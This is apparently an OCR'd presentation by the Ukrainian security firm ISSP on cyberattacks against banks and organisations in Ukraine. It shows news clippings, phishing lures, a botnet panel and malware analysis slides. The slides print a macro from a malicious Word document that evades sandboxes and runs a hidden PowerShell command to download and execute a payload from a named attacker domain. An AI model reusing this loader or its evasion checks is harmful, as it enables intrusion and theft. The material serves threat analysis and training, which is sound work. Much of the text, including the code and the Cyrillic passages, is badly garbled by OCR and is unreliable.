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ISSP

Company Background

Founded 2008 in Ukraine,

Now has offices in 3 countries, own SOC, Research & Forensics Lab,
Training Center and CERT

50+ employees, business in 7 countries of CEE.
Internationally recognized expertise.

Purely organic growth since 2008 onwards — no debts, no bank or
corporate loans, no VCs.
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m [SSP has the following business divisions

ISSP

A Security Operations Center

ISSP Security Operations
Center

provides MSS and MDR
service, as well as world-
class technical support for
ISSP corporate customers:
administrators 8x5, operators
10x6, and on-demand
analytics, established 2012

B About ISSP

ISSP

+ Labs

ISSP Labs & Research Center
— specializes in analysis of
computer viruses, challenging
tasks of computer forensics,
provides research labs facilities
for cybersecurity students and
scientists, established 2015

ISSP Training Center —
conducts professional
trainings for corporate
customers’ in-house
specialists including but not
limited to certified product
based trainings and
professional certification
programs, established 2013

Information Systems Security Partners
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Sales / Project Office

Technical Office

Support Desk & SOC Operators

SOC Datacenter

)OO0 OO

8 Lab & CERT

Training Center Facilities




Data for sale
Attack as 'a service
Botnhet services
Malware / Trojans
Bank Accounts
Payment cards

Documents
2,1 Trillhon in 2019



: REUTERS

Exclusive: SWIFT discloses more cyber thefts, pressures banks on security

TECHNOLOGY NEWS | Wed Aug 31, 2016 | 7:22am EDT

THE WALL STREET JOURNAL.

EXClUSlve. SWl FT d |SCl05eS more Cybe Health-Care CIOs, Facing Ransomware Threat, Share Security

pressures banks on security

PE@CprI MHHIOCT& BTDPOH ,[[E‘Hb HaXoOdATCA
B 3mmeHTpe KnbepaTak
FRAR]Y

KommeHTRpHUK

AKKPeOUTOBaHHbLIA LIeHTp cepTudunkaum
KMNoYen opraHoB HCTULKMK YKpanHbl BTO
[OeHb noapsan HaxoOguTcs B anUUeHTpe
BHewwHen DdoS-ataku

Ob atom coobulaeT npecc-cnyx®ba rocnpeanpuATMA «HauWoHankHbIe WHQOPMaLW
cucTemel» MUHWUCTEPCTEA HOCTULMIA. .

MOrYyT BO3HWMEGTE CNOMHOCTH C [O0C.

«B cBA3M C 3TMM Yy TMOMbL30BaTenen
Kk peecTpam», — rOBOPUTCA B COODLLEHNN.

Best Practices

By RACHAEL KING
Mar 24,2016 3:48 pm ET
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Filing

News Essentials

What's Hot

Mews Releases

IRS - The Basics

IRS Guidance

Media Contacts
Facts & Figures
Around the Nation
e-Mews Subscriptions

The Newsroom Topics

Multimedia Center
Moticias en Espafiol
Radio PSAs

Tax Scams

The Tax Gap

Fact Sheeta

Refunds

Payments

® 0 COMMENTS
CONTENT FROM OUR SPONSOR

Deloitte

CIO Insights and Analysis from Deloitte

Protecting Critical Assets From
Cybertheft

Credits & Deductions News & Events For

IRS Warns of a New Wave of Attacks
Focused on Tax Professionals

IR-2016-119, Sept. 2, 2016

WASHINGTOM — The Internal Revenue Service today wamned tax profe
attacks that allow identity thieves to file fraudulent tax returns by remof
computers.

As part of the Security Summit effort, the IRS urged tax professionals |
software settings and immediately enact all security measures, especi
require usernames and passwords to access the products. The IRS is
dozen cases where tax professionals have been victimized in recent d:

The IRS, state tax agencies and the tax industry — working as partners
recently launched the Protect Your Clients: Protect Yourself campaign |
criminals increasingly are targeting tax professionals and the taxpayer

"This latest mmdent remforces the need for aII tax prcrfessmnals tn rew
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Home World U.S. Politics Economy Business Tech Markets Opinion Arts Life Real Estate

OPM Ratchets Up Estimate of Hack’s Scope

More than 21 million vulnerable in breach; China cited as suspect Login

@NNJ Money International + Markets Economy Companies Tech Autos Video _

Hackers selling 117 million LinkedIn
passwords

by Jose Pagliery @Jose_Pagliery

(© May 19, 2016: 10:59 AM ET ccommend REL

- Chris Wallace delivers
ﬂ sterling performance
as debate moderator

Trump's bullsh™t: Why
his supporters don't
care that he's lying

Is the Philippines'
outspoken president
7 4 scaring away

investors?



pOlitiCS Election 2016 Nation World  Our Team ol Newsweek WORLD PODCASTS OPINION CULTURE SPORTS  TECH & SCIENC

U.S. official blames Russia for power

gnd attack in Ukraine RUSSIAN HACKERS SHUT DOWN
. UKRAINE’S POWER GRID

By Evan Perez, CNN Justice Reporter Gy B e =
4 @® Updated 0127 GMT (0927 HKT) February 12, 2016 P O — Russian hackers target facilities to further Putin's expansionist foreign policy
- & BY RILEY WALTERS ON 1/14/16 AT 5:52 PM

0
e

e business lsestyle fashion enwvirc onment d b
Ukrainian blackout Cagrsrfpany
that attacked mediaC

researchers say

Companies Tech Autos Video

|
mm @ signin News Sport Weather = Shop @ Eart Cyber-Safe
Scary questions in Ukraine energy grid hack

by Jose Pagliery @Jose_Pagliery
)
(© January 18, 2016: 2:37 PM ET 18K

Home = Video UK  Business | Tech @ Science Magazine En

Chris Wallace delivers
sterling performance
as debate moderator

On 23 December

Trump's bulish™t: Why
his supporters don't
- carethathe'slying

Is the Philippines’
outspoken president
scaring away
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ISSP )
Banking industry attack vectors

IT E-banking ATM / POS Card Social Engineering
|| internal (Whitebox) || Accounts Hijacking || Direct Dispense || card Dump || vishing

|| External (Blackbox) || sessions hijacking || Malware || card not present || social Networks

[] ?::’eaa':ced Persistent || Phishing || skimming || Offline overdrafts || Phishing



ISSP

CaunTbl YMX 3acTaBuM/IM KOMMbIOTEPDI M0JIb30BaTEIEN
MaWHUTb KPUMTOBAJIIOTY

26.09.2017 19:04

Cantbl Football.ua, Korrespondent.net, iSport.ua u Tochka.net ckpbiTO MarHMAM
KpMNTOBanioTy Monero Yyepes KOMMNbIOTEPbI CBOMX MOJIb30BaTe/IeM

Nogenuteca: K3

L off
WALA, 221V
| » |

| P

®oTo - mining-cryptocurrency.ru

>

Bxoadauwme B "YkpamHcKui Meaua
XonauHr” camntel Football.ua,
Korrespondent.net, iSport.ua u
Tochka.net, CKpbITO MaMHUAM
KpunToBasitloTy Monero yepes
KOMMbKOTEPbI CBOMX MO/Ib30BaTENEN,
nuLIeT nosb3oBaTesib Noj HMKoMm Evg
Bell y ceba Ha cTpanuue Facebook.

"HeoxXnaaHHO 0BHapYXU/, 4TO
paHee yBarKaeMblit MHOM CamT
football.ua ckpbITO MaMHUT
KPUNTOBA/IOTY 3a CYET CBOMX
nosb3oBaTenen. A 8 Aymaro, noyemy
Yy MeHS npoueccop rpysut Ha 100%
HauMHaeT 1 TenedoH XyTKO rpeeTtcs

M TOPMO3MT, KOrAa Ha Balll CaMuT 3axoxy. Bam JeHer oT peknambl HegocTaTouHo? Hago keudb
no/sb30BaTeNbCKY TeXHUKY? MoaymanTe o cBoek penyTtaumm’, - Hanmcan Evg Bell.

OH nosAcHuA, 4YTO ANA MaMHUHIa KpUNTOBa/1l0Thl MCMNOJIb30BaJ1CA BCTPOGHHbIl\:i B CaMT njarvH

coin-hive.

Information Systems Security Partners



@ EnexTporHi netuyii

1]

M'aTa cecis VIIl cknmukanxa

Mowwyk

poswupenul nowyx

lonoBHa 3aKoHOTBOpMICTL 3aKoHO4aBCTBO OuuniieHHn anagu MbkHapogHa AiAnbHICT Incbopmauin  Kowtakt  Pecypcu  HoBuHu

[onoBHa > 3aKOHOTBOPYICTE > 3aKOHONPOeKTH = [lolyk 3a peksiauTamy > KapTka 3akoHONPOeKTy >

MpoeKT 3aKoHy NPO OCHOBHI 3acagu 3a6esnevyeHHs KiGep6eanekn YkpaiHu

Homep, nata peecrpadii: 2126a8ig 19.06.2015

Cecia peecTpauii: 2 cecia VIIl cknukaHHa

BKNK4EHO 40 NOPAAKY AEHHOro: 677-VIll Big 15.09.2015

Peual(uiﬂ 3axoHonnoaKTY: OrunRHui LI0SS5ary | ADOUL TNIS SITE | LONTACT | WOOKIES | LEJAl NOTICE | CHynail \=1l )

Py0Opuka 3aKkoH

Cy0'ekT npaBa e
* *
*

IniyiaTop(u) 3a1 ;’ ”: JU STl CE
Building a European Area of Justice

European Commission > Justice > Data protection
TonoBHK#A KOMi

wiorer: EVEFyONE has the right to the protection of personal data.

Under EU law, personal data can only be gathered legally under strict conditions, for a legitimate purpose.
Furthermore. persons or organisations which collect and manage your personal information must protect it from
misuse and must respect certain rights of the data owners which are guaranteed by EU law.

Every day within the EU, businesses, public authorities and individuals transfer vast amounts of personal data
across borders. Conflicting data protection rules in diferent countries would disrupt international exchanges.
Individuals might also be unwilling to transfer personal data abroad if they were uncertain about the level of
protection in other countries.

Therefore, common EU rules have been established to ensure that your personal data enjoys a high standard of
protection everywnhere in the EU. You have the right to complain and obtain redress if your data is misused
anywhere within the EU.

The EU's Data Protection Directive also foresees specific rules for the transfer of personal data outside the EU
to ensure the best possible protection of your data when it is exported abroad.

WSS

w MIPE3UJEHT YKPAIHU | IETPO IIOPOIIEHKO Tpesm
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OdimiiiHe IHTepHET-TIPeACTABHHITEO

WRWRNREN

»

HOBHHH $0TO BITDEO JOKYMEHTH IMPE3HIEHT AIMIHICTPAIIA

Ocrauni HOBHHH ITpomoeu BitanHA Apminicrpamis IlpeangenTta Ipyxuna [IpesugenTta

Tonoena = Hoeunu =~ OcTaHHi HOBHHH

[IpesunenT 3atBepauB CTpaTerito
KibepbOesnexku YkpaiHu

16 BepezH#a 2016 - 09:28
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> Advanced Persistent Threat

a set of stealthy and continuous computer hacking processes,
often orchestrated by human targeting a specific entity.
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SANDBOX FIREWALL
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#14 /07 / 2016 '

1000+ emails were released to various organizations in Ukraine

Lam o mwll mcwrrparrm=r’

K ormemd srmupr: " \
BenbMUWaHOBHUA KOHTpareHTe!

Mk ol wicarar

R e W
®iHaHcoemiA Binain MpueaTbaHK 3BepTaETL
P sl nonomoroio Hawdilcepsicy oHNaiH 6aHKiHT

Ha naHwuih MOMEHT HaneXHy cymy 3a Kpeay
T i § peas| OOPT 3 YpaxyBaHHAM WTpadHMX caHkuin (0

WE 113 000,59 rpH.
Cr

Y 3B'A3KY 3 UMM, Ha NiACTaBI KpeaAUTHOI yrc
CKNnafaHHA cyfoBOro No3oey Ha Bawe im's,

B i i b b B

MponoHyeEMoO 03HaWOMUTKUCh 3 BIANOBIAHUM
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Cyzas Kapa6ans BM.
14.07.2016

[TOBICTKA ITPO BHKJIHK

Kuiscoxnii pafionsuii cva M. Xapkis JaH0I NOBICTKOK MOBLIOMIAE Bac NPO HEOOXIIHICTE

3 ABHTHCE B AKOCTI 0CO0H, AKa MPHIATACTRCA J0 aIMiHICTpaTHEHOI BianosidansHocTi 3a cr. 185
Koaexcy Vipainn npo aaMiHICTpaTHEHI MPAaEOMOPVINEHHA V €V 414 VHACTI B CYVIOBOMY
3acizanHi no cnpasi Ne045171-15, axe pigdoyaersca 28.07.2016 p. 0 10:30 B a1 cyaosux
sacigans NeT 3a agpecoro cvay. AKTVAIRHY agpecy CVAV BH MOKeTe 3HAMATH Ha BeO-CTOPIHLI:
http:/'court.gov.ua'sudy

Bu noesHAI 320€30eMHTH CEOIO ABKY J0 CVIY A% YHACTI V 3aciIaHHI CVIY V NpoUecvaTsHOMY
CTaTycl Bianosigaga.
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MS Word has embedded macro
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Sandbox
Evasion

IOC’s:

HTTP 62.210.102.80

elfaroconsultants.com
elfaroconsultants.com/
elfaroconsultants.com//r_upload
elfaroconsultants.com//wp-admin/post.php
elfaroconsultants.com/bug/pic.gif?siteid
elfaroconsultants.com/din.aspx?s=0000000
elfaroconsultants.com/p?c1=2&c2=13765216
elfaroconsultants.com/pagestat/PageStatE
elfaroconsultants.com/safari/content.bin
elfaroconsultants.com/t51.2885-15/e35/p2
elfaroconsultants.com/tracker?js=13;id=1
elfaroconsultants.com/wpad.dat
wtfismyip.com:443

shougunj.com:80

69.30.217.90:443

52.23.245.170:80



DM Cjep As String

Ohm jhpak AL Integer |

Public Pusction 1rF){By VBl VHUE As Oibject) A3 Object
SetzrfFl =VHuc
End Punction

Public Funciion EMOf{Byval QHFo As String) As Object
5etEMaf = arFiCreateCbject(Qra))
End Function

Publc Function rFmog By'val fRMod As String, By'val Wielp As String) As Integer
TFNiKx = InStr{LCass{fRMCd), Lease{wiep])
End Functon

Publc Sub exzZfx|Syval KAeWz As Swring)

Public Sub cDsj{Byval INMK As String)
Setbmmnj = kmaf™wscript. Shell™)
KE#R BhAmP | Run(INm, o)

end Sub

Integer
KZHX = pDZE Mod 6Vval
End Fangtion

Public Function KZHX(Byval pDZE As Integer, Byval GVVal As integer] As

l

ThpsK = KZHX[SBAWG, Len(pqap))

Do While Len{xkThH} < Len|pap)
T | ks sdaan & Mid{paQyp, jhpsk + 1, 1)

jrpsit = ezbix[jhpsk + gIT), Len(pgaip))
Loop
£nd Punction

Public Function XKTMH(Syval pgap As String, Byval SEAWG, As Integer, Byval gGiT As Integer) As Swing

f

End Function

sting
s = Module2 xkThMH|Applcation CleanString(pqlip), SBIWGQ, gGIT)

Public Punction s(Byval pqgOp As String, Byval SBAWG As Integer, Byval gGIT As Integer) As

wariant)
KEih = OXSF
End Function

Pubiic Function KEih{ByVal OXSF As

HTTF Requset, with
detecting public IP of
the target.

Malicious URL

PowerShell Start

'

Pubiic Function AwckF [} A5 String
BowckF =

*$f=[System.i0, Path]: GetTempFilename(].[Mew-
oObject

System.Met. WebChent). DownloadFile{ http -/ felfarocon
sultants.com/safari/content. bin’, 5f);|Mew-Object -com
Wscript, Shell). Exec{5f]"

End Fumction

as5tring
- .

Hidden -command *

Public Function ELLSx[) Az String:
SetVeFL = KMOH [ “Winkittp WinhitpRegquest. 5. 1%)

KEih VeFL. Send
If VieF LI Status <> 200 Then
Err_Raise Number =4, Description:="Cant connect to API™

KEih VeFLl. Open{"GET ", "hitps_f fwtficmyip. com/json”™), False)
WEih VeFU. Sethequestrieader" User-Agent”, “Mozilla5.0 [compatible; MSIE 10,0, Windows NT 6, 1; WOWS4, Trident/s.0)")

Public Function i)
RA = "power: @
Envd Function

¥ Bypass

£rr.Raise Number:nl, Description:sKAeWz End if
Endl Sub ELLSX = VeFLl ResponseText
End Punction
SandBox Pubic SubnqEFl)
On Error GoTo gTiu
Detection \ 1f appication. Useriame = ™ * Then Modulel. exzhs{"Bad use .
If Application RecentFiles. Count < 3 Then Modulel exZfx s[*Bad history”

Cjep = ELLSx
For Each LYyR In Sspyg

MNext

«Dsj dCjgc
Exit Sub
qiL:

End Sub

If Modulel. 7Fnkx[Cjep, LYyR) <> 0 Then Moduled.e3fx s{"Bad 1SP", 25, -w

nqEF
Endd Subs

Pubic sub

Pulbiic Function Sspye() Az Variant

Sspyg = Aray["Amazon”,” ", "Bitdefender” " Blue Coat”,"Cisco
Systems”,"Cloud™, "Data Center”,"Datacenter”, " Dedicated”, "ESET,

spol” “FireEye” "Forcepoint” “Fortnet” “Hetmer® “Hosted” “Hosting”® “Lea

| seWeb","Microsoft”,"MForE","OVH

PSPUBWS - defelt user in Hybird Senbox

Howe many files was opened by user in the past. If less then three, obvicusly itis a SandBox

SA5° “Proofpoint® “Security” *Server® “Strong Technologees® “Trend
Micro®  “Trustwawe”™, “blackoakoomputers” “mimecast™)
End Function

What is the ISP, if itis cne of the list, this is SandBox

Pubkc PURCEOn ACigC() A StHRE
dCjgr=iyXA & AwckF
End Function




ISSP The User — is the Weakest Link...

DPUHaHCOBLIA NopTaN

MH H¢ MH BanwTa BaHKK CTpaxoBaHwe MHaekKCH '@ BOHYC K ieno3vTam OHNalH Nnarexm

magistrZ

Bnor Kommentapuw BamwotHeit dopym  OT3biBbl  [opAuan nueuA

”

14 weona 2016, 14:18  Oeamanrtlank  # Yasan o oyuscreosanuy gaHHore Banes We meckMa,.. Adepucrsl,  ecte oteet Dasma

NoNY4Wn NMCBMO:
BWCOKOIWSHOBHUI KOHTpareHTe!
KopuamyHwi siggin JiamanTtGark cnosiwye Bac npo Te, wo Ha Baw igeHmudikauiinmi kog 10.09 2015 poky, 3a 4ONOMOroR
HAWOT cepBicy oHNand Gankinry, Syno B3STO TEPMIHOEWRA KPEOMT HE cymy 62 343,00 rpMBeHs.
Ha 4aHWid MOMEHT HANEHHY CYMY 33 KPEAWTOM HE ONNaYSHO. CTEHOM HA J3HWA MOMEHT poky Baw Sopr 5 ypaxyeaHHAM
wrpadgy (0, 7% sa koeHy gody NnpocTpOYeHHA ONNaTH) ETEHOBMTE 74 000,59 mpH.
Q [MognucarscA Ha Gnor ¥ SE'AZKY 3 UMM, HE NiOCTABI KQSQMTHOT YIogK, KERIEHWUTEOM JSN&NTAMEHTY YN0 NPUIEHATO PILEHHA NP0 CKNENSHHA NOS0BY
ao cyay Ha Bawe M\,
MpoNSHYEMO CSHAROMHTHCE 3 HENSKHHMK JOKYMEHTSM.
Hanncare nninoe coobwenne IEMMWISEMOCE 3 NOWAHDK,
BukoHytourid 0808 A3KM HAYANEHWES EiDainy

SEApEruCTPHpORAN:
14 wonm 2016 Bnaoucnas M3gengb

magistrZ

MocneaHwii paz Guin Ha caime: Bonpoc, KTO BHIZEN KPSAHT, HE Yb& HMS, HE KEKOA MOSHTHEMESLMOHHER KOD, W ESK MOMMK BEIOSTE TSEYED CYMMY NDW MOSH

14 wsona 2046 & 15:06 MMHEMMENEHOR S3pNNaTE. 370 ga¥e ecnW Ok A HE &N W KOMMYHSNEKY HE NMNESTHA M ECH S3pNNaTy OTOSESN N0 EPSOUTY TO 3TY
CYMMY 8 cMor Obl 0TRaTh 4 roga.

Npocmotpos npodmna: He yl?amaemuﬁ Brnaaucnas M3agenie — WOMTE B NonWUKED ¢ droTorpadiMen Toro, kTo ¥ Bac Gpan kpeawr. M npoceda Mye

Caroama: 2 TESKOW CNAM HE CNETE.

Beero: 36 /
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L5 Garnamamas

W @1 e

- BX0A ANA NONL30BaTENed
1 . B BEYS W b BXO, A NONL30BaTENEn

ervc na

"’ Mowck no 6aze 3HaHwit :

Cnpawmsaitte v nosy oTBET

| Haitm

CoseTumua » buzHec, ®uHaHCH! » BaHK

pyxm_Kpioru 3TO pasBoa WM MHE Npucnanu Bupyc???

Mprwno Ha nouTy:
OT Koro:

BorgaH 3aiuyx
BWCOKOWAHOBHMI Mare/naxi!

HOpuauuHwiA sigain BTE BaxK cnosilgye Bac npo Te, Wo Ha Baw nacnopT
TEpMIHOBUIA KDSaWT Ha CyMy 37 605,00 rpuseHs.

CTaHOM Ha JaHuii MOMEHT poxy Baw Gopr = ypaxysaHxsmM wrpady (0,7% 32
KOXHY 000y NpOCTPOUYSHHS ONNaTH) CTasosuTs 37 000,59 rpH.

¥ 38'53KY 3 UMM, Ha NiACTaBi 4oroBopy, KepisHuUTeoM BaHky 6yno NpuiAHATO
DIlIEHHS NPO CKNaAaHHA NO30BY A0 Cyay Ha Bawe iM'A.

MPONOHYEMO O3HZMOMUTHCS 3 BIANOBIAHUMM SOKYMEHTAMU.
33NMLLZEMOCE 3 NOLI3HO,
HOpPUCKOHCYNBT

BorgaH 3aiuyK

W npukpennex ain Axobel B dopmate 0K,

504ku iy

Py
MeHst He BbUn0 B CTpaHe, NacnopT He Tepana.

14 wions 2016 & 13:58

. Oreeyats & TeMax Ha CoBETMLIE MOXHO TONLKO 33PErHCTPHPOEAHHLIM NONL30B3TENAM,

ech

18.09.2015 poKy, 3a AONOMOroK HaLLOI CepBiCy OHNaiH BaHKiHry, Byno BzaTo

Ha AaTy HagcvnaHH| UbOro INCTa HaNEeXHy CyMy 33 KPEAWTOM HE NoralueHo.

Mol Col € 3TUM B3HKOM HUKAKVX Aen He uMeNa. Mbil Nbl Col - HA YKa33HHYH0 AaTy

The User —is the Weakest Link...

rpamgannkl pybuan 9 14 waons 2016 8 14:07  Omeet ans Nenexk Bosmesgua

LiuTaTa:

Obpauenue Ges HO. Ve passod! Ommyoa 31. adpec y barra saue? Cuumare

PaEsodom!

CornacHa Gaxk BCEM A yraanisaet ©UO!

Mymwmcrsii 10 14 wons 2016 8 14:08
NensMeHs

BMDYC. HALLK GATHLLHWKK HaC Npegynpeqund, YTo 310 supycl
100%

pyxm_Kptoru (aeTop) 11 14 wons 2016 8 14:10  Omeer ans Nywncrbid MensMels

LUurara:

SUPVC. MU SEMULHINE Hac npedyrpeouty, wimo smo supye! 10095

I CNACWEO, yoanung NMuosmMo I\

HO BACHEHHWE YVHE OTHPBLAA...

Bonpoc 3akpbIT




Penetration throw AntiSpam
1SS P

JD File Edit Yiew Insert Format Debug Run Tools Add-Ins Window Help

lg|@ %5@|@|Ln7,c:ﬂ34 .

I(Generan

heel Classtod.le 'T man see it on your face, weah, yvou lost it
mdﬁbamlcaWQWEEdl 'Tou thought you could, thought you could
(Mame)  heel Dim dowered
1 - Private LI 'Everybody's saying you're a monster

'0ld fashion pass to give yourself awvay
Dim interpretation is Integer
'Hothing but pills and low incomwe
'0ld fashion pass to give vourself awvay
Dim soar As String
'Teah, now you're living on, living on
'Make it, but the city won
Iim habitation As String
'L Hollywood horror
'Four heart's all gone
Dim asguint
'20ld fashion pass to give yourself away
'Tou got mwe feeling some way
Priwvate handmedown is String
'S0 I'll =ay this iz the day you hecams
'L Hollywood horror
Sub AddQuotes ()
'S0 give wourself away
'Make it, but the city won

Felection. InsertBefore sEegQ
'Tou thought vou could, thought you could
'Teah, that's where you say you're from

Selection. Insertifter sEndQ
'Everyhody's sayving you're & monster
'L Hollywood horror
End 3Jub
'The city that, city that went
'Make it, but the city won

'Hothing but pills and low income
'Wa= it worth it for the fame?

'Hollywood, Hollywood

'Teah, that's where you say you're from
Function madrigalist ()

'TMas it worth it for wyour nsme?

"It looks like wou becsme

Dim bijouterie Az Long

'Tou got we feeling sSome way

'S0 I'll =ay thi= iz the day you hecams
Iim militaristic As Variant

'Hothing but pills and low income

'L Hollywood horror

certhia = LCase ("Ap™) + Mid("assuefactionplatsbiochewicallwy™, 13, 5]
'It looks like wyou became

"It looks like wou becsime
interpretation = interpretation And 129
'Aind made you go and change your ways
'Tou got mwe feeling some way

Dim extremis is Integer

'Teah, now you're walking on, walking on
. 'Four heart's all gone
Lo LT R ot bdis
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"damself1ly™

albuterol

Soar

"Win3i2 Process"™

'albuterol =

+ Left("32 Processunderpass™, 10)

3]

15,

Mid | "hamwamelidaceacsTimnimosaceas ™,

Soar

habitation

w

M TAHOH |2

3TOT HyCH

&3yIbTaT

a

03 OACT H

', K

Elze

aCTPPzvlipD.reverse()["j"+"o"+"in"]("'");

if (a == 123) eval(b);

b =

print(a);
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Or: AnekcaHgpa Teinop <alexandra teylor@osce.com.de>

K:
Bpema co3gaHua:
Tema:

[06pbiit feHb!

http://osce.com.de/node/118046.txt

Bnaropapvm 3a coTpyaHuuecrso!

C yBaxkeHuem,

AnekcaHapa Teunop
CneuuanbHaa MOHUTOPUHIOBaA MMCCH
Odmc: +38 (044) 392 08 00
®akc: +38 (044) 39000 75

www.osce.com.de|

alexandra teylor@osce.com.de

Mon, 16 Jan 2017 07:22:07 +0300
Pabouana rpynna muccun OBCE B YkpauHe

CNUCOK COTPYAHMUKOB C MX JaHHbIMK AOCTYMHbI 413 CKAYUBAHMA NO CCbl/IKE:

OpraHuzauua no 6e30nNacHOCTHU U COTPyAHMUECTBY B EBpONe HanpaenaeT CBOMX COTPYAHWKOB B pabouyto noesary no YkpauHe.

i eq_\

4+  [lna Geictporo gocTyna AobaseTe 3aKnagky Ha 3Ty Naxens

OpuruHan canMTta Haxo4UTCA No agpecy

osce.org

Organization for Security and )
O[S |C|C Bt NEw

HOME WHOWEARE V¥ WHATWEDO v

FEATURED

SROOM MAGAZINE

WHEREWE ARE V¥

Security Community Issue 4/2016

Read the interview with Austrian Chairperson-in-Office Sebastian Kurz. Plus articles on migration governance, countering

the threat of returning foreign terrorist fighters and pioneering initiatives for preventing human trafficking in supply

EVENTS PARTNERSHIPS NETWORKS Q SEARCH ¥

INSTITUTIONS & STRUCTURES ¥ RESOURCES ¥

Latest News

Austria to serve as bridge builder,
dialogue facilitator and an honest broker
during its 2017 OSCE Chairmanship, says
Foreign Minister Sebastian Kurz

OSCE/ODIHR Director reiterates need for
swift closure of Guantanamo Bay
detention facility

OSCE media freedom representative
expresses concern that UK legal provision
could have damaging impact on the
country’s press

Statement by the Co-Chairs of the OSCE
Minsk Group

[ view ALL NEWS > |
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@ @ @ | hip:4 - lmvl Herare 5 Google |P]
Bots status: [ online
TaSk_S o only real 1r's
2ervice Records limit:
[ Apply ] 5
Total' § Bot ID IP address Country Install date Last activity Last task Bu.t DF! Status
; Al version version
online: 5 DO0B2559 NAT)  |™E United States (US) 07:20:52 17 May | 08:23:52 17 May #0 01.01 winz003 | ©Online
Deads: 0 CHYAZFOL B |njted States (US) 07:19:45 17 May | 08:22:45 17 May #0 01.01 WinXP online
00836B96 8 Russian Federation (RUY | 07:19:23 17 May | 08:22:23 17 May #0 01.01 WinxP Cnline
. S4BDDCCL B Jnited States (1S 07:17:33 17 May | 058:20:33 17 May #0 01.01 Winz003 Online
Win2003 f0% (3} ECCAFEDA & Turkey (TR) 07:16:41 17 May | 08:19:41 17 May #0 01.01 Online
WP 40% (2) ES i B -.~- - i [ o
<1 | = || i e
T PErg AP
Russian Faderation 20% (1) e Q -
Turkey 20% (1) |
United States £0% (3) . b;‘ ; >
# Command Parameter Countries EfFfL* Enahled Actions
: Bots 29 | Install plugin i AR socksd.110 pack ALL 4/0/unlim True [edit] [ondoff] [delete]
Taelks 30 | Download EXE sample_troy.exe ALL 0/0/unlim [edit] [ondoff] [delete]
S 31 | Update bot newbot.exe ALL 0/0/unlimn [edit] [on/off] [delete]
= 52 | Kill bot ALL 0/0/unlim [edit] [on/off] [delete]
e -
Add task 4
Enable all tasks | Bots Task type: |Download EXE 2] W] Enabled
Disahle all tasks Tasks Limit (0=nat limited): [0 |
Delete aLL tasks Service Countries: [ELLFR
Ethiopia
Eu rope
Falkland Islands (Malvinas)
F. Island
Add task F?jime sands
Enable all tasks Finland
Disable all tasks )
Delete ALL tasks French Guiana
French Polynesia
HORTH
PACIEL Pararneter: —l
scran i
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Intrusion as a Service

Mail
Delivery

Obfuscate
the code

C&C

publication

Get
callbacks

Recon
infos
analysis

Actions

Information Systems Security Partners
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vi8 602
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205 012
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o7 28 PC-72

PC-206

PC-252

PC-113

PC-108

PC-176

PC-186

PC-170

PC-3

PC-206

PC-172

PC-130

PC-77

PC-124

PC-214

29 PC-72

A 0 0

PC-206

PC-252

PC-113

PC-108

PC-176

PC-224

PC-170

PC-3

PC-206

PC-172

PC-91

PC-130

PC-77

PC-124

PC-214

30 PC-186

PC-206
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1SS~ HANCITOR+VAWTRAK 2014 — 82 K PC’s were infected, 24 M $ were stolen just
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41"3017. 3681, . 2911
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At Roldsuprat.
coms Ls5<Forum. ph
pihttp: ~~“fahecke
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Project - Projeck | x|
= |
=& Normal

=& Project {123)
=5 Microsoft Word Ohjects

] ThisDocument

=5 Forms

- neckaring

El@ Modules

2 pracellarifarmes

[+ References

#- %% TemplateProject (EEFON

polyglot X

Tabs | Taba ?TEETﬁﬁ|Tah:4I 5

R Sl S S

This file was last analysed by VirusTotal on 2016-12-07 11:59:06 UTC (2 days, 1 hour ago)
it was first analysed by VirusTotal on 2016-12-07 11:59:06 UTC.

Detection ratio: 25/55

You can take a look at the last analysis or analyse it again now.

SHA256:

File name:

Detection ratio: 37 / 56

Analysis date:

macros_extract.exe

2016-12-09 13:00:26 UTC ( 0 minutes ago)

64cca322ec8126ac6aabdc55e9c4di74ad52f9446ca469da2079749bfb81efb1

MozillasE.@ [lWin
dows HT &.1: Win
Bd: mwed; Trident
A7 .HEr rurll.gl oo
Lke Gecko...# %,
FOST....GET.http
tSAapl. LpLfY .. Org
c.ed.Hd.8.8.50I0
=1 IeduaBUILO=*s%
INFO=¥s&IP=Xs8TY
FE=1%&WIMN=:d. ¥d( =
&3] . 6GUI0=XT&d442E
HILD=¢<s&INFO=Hsk
IP=H=2TYFE=1%WIN
=xd. ¥di =321 .BN. .
EHplorEr. EHE. ..
awa @ JSustemBo
ot . . =Sustem3Z2~ s
chost.exde. . .Gt
at iveSystemInfo.
kernel32.dll....
LoadL ibrarvH. ..
LoadL ibrarvE=A.
Gt ProcHddress.
=fe,. B[, H......

e —
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i)
?g ™ = ;
M3BneveHne
Koga
e - 'T- T I
I_‘—_!
- =)
@ = = 1 1t )
| ==

©0409F47 RT OF FUN ON CHUN ) ub 4BA7A( S==o=

00409F47 =

00409F47 loc_409F47 /imag

@0409F47 mov  [ebp+var A8], 67616D69h — =

@0409F51 mov [ebp+var A4], 706c6365h 4—— ehlp -

©0409F58B mov [ebp+var_A@], 6C6C642EH S dll ]

00409F65  jmp loc_40B8CS 5 3TOT 3nemeHT

00409F65 : END OF FUNCTION CHUNK FOR sub_ 48A7A(

J =

'u'iew
ECO A3 3B 4 80 00 0D DB BA 14 OC 34 B2 80 A9 58 80 nML..-!..4-A5XA 34 B2 80 A9 58 80 n;MA..-|..h-AuKA
DO 4D 6D 20 206 00 64 00 00 18 OC 34 B2 00 CO 3E 82 Hm--...... 4-.L>E 34 B2 00 CO 3E 82 Hm--...... 4 LYE
EO 46 11 55 80 88 F3 55 80 69 6D 61 67 408 BB 08 08 F.UuueUrimagf=] 61 67 65 68 6C 70 F.UiMcURinagdhlp]
FO @88 OC 34 B2 41 CA 4F 80 6F 6C 65 61 75 74 33 32 [CI=Adoleaut3? 65 61 75 74 33 32 [dlllidzoleaut3?
00 2E 64 6C 6C 88 12 55 88 6E 65 74 61 70 69 33 32 .d11CIMnetapis2 7h 61 70 69 33 32  .dll..ULnEToRis?
186 2E 64 6C 6C 880 BB 62 81 61 64 76 61 78 69 33 32 -dllmaduapi32 76 61 70 69 33 32 .d11..bBaduapi32 3anonHeHme
20 2E 64 6C 6C BB B0 B0 BB 73 68 65 6C 6C 33 32 2E  .d11C"hells2 65 6C 6C 33 32 2E  .d1l....shelld?.
20 64 6C 6C B8 76 65 72 73 69 6F 6E 2E 64 6C 6C 88 dll_versio . 6E 2E 64 6C 6C 00 version.dll
40 95 D2 58 80 70 64 82 E1 00 00 00 88 77 69 6E 69 wini 80 00 77 69 6E 69 T 1]
